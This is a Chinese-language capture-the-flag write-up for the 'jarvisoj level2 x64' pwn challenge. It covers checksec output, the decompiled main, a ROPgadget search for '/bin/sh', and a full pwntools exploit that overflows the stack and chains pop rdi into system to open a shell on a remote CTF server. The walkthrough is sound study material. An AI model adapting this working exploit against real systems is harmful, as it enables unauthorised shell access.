jarvisoj level2 x64

# jarvisoj level2 x64

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/jarvisoj_level2_x64/level2_x64'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

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# 静态分析

主函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  return system("echo 'Hello World!'");
}

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Gadget

ROPgadget --binary level2_x64 --string "/bin/sh\x00"
Strings information
============================================================
0x0000000000600a90 : /bin/sh

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# 思路分析

目前信息：
- vulnerable_function函数内明显的栈溢出漏洞
- plt表内有system
- 存在/bin/sh字符串
- No PIE
- NX 保护开启
思路：
- 可栈溢出，有system，有/bin/sh，构造rop链布好栈帧输入即可

# exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/jarvisoj_level2_x64/level2_x64'
io = remote('node4.buuoj.cn', 27585)
# io = process(pwnfile)
elf = ELF(pwnfile)
system_addr = elf.plt['system']
padding = 0x80+8
bin_sh_addr = 0x600A90
pop_rdi_ret = 0x4006b3
payload = flat(['a'*padding, pop_rdi_ret, bin_sh_addr, system_addr])
io.sendline(payload)
io.interactive()

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#buuctf #pwn #StackOverflow

上次更新: 2022/08/15, 00:29:49

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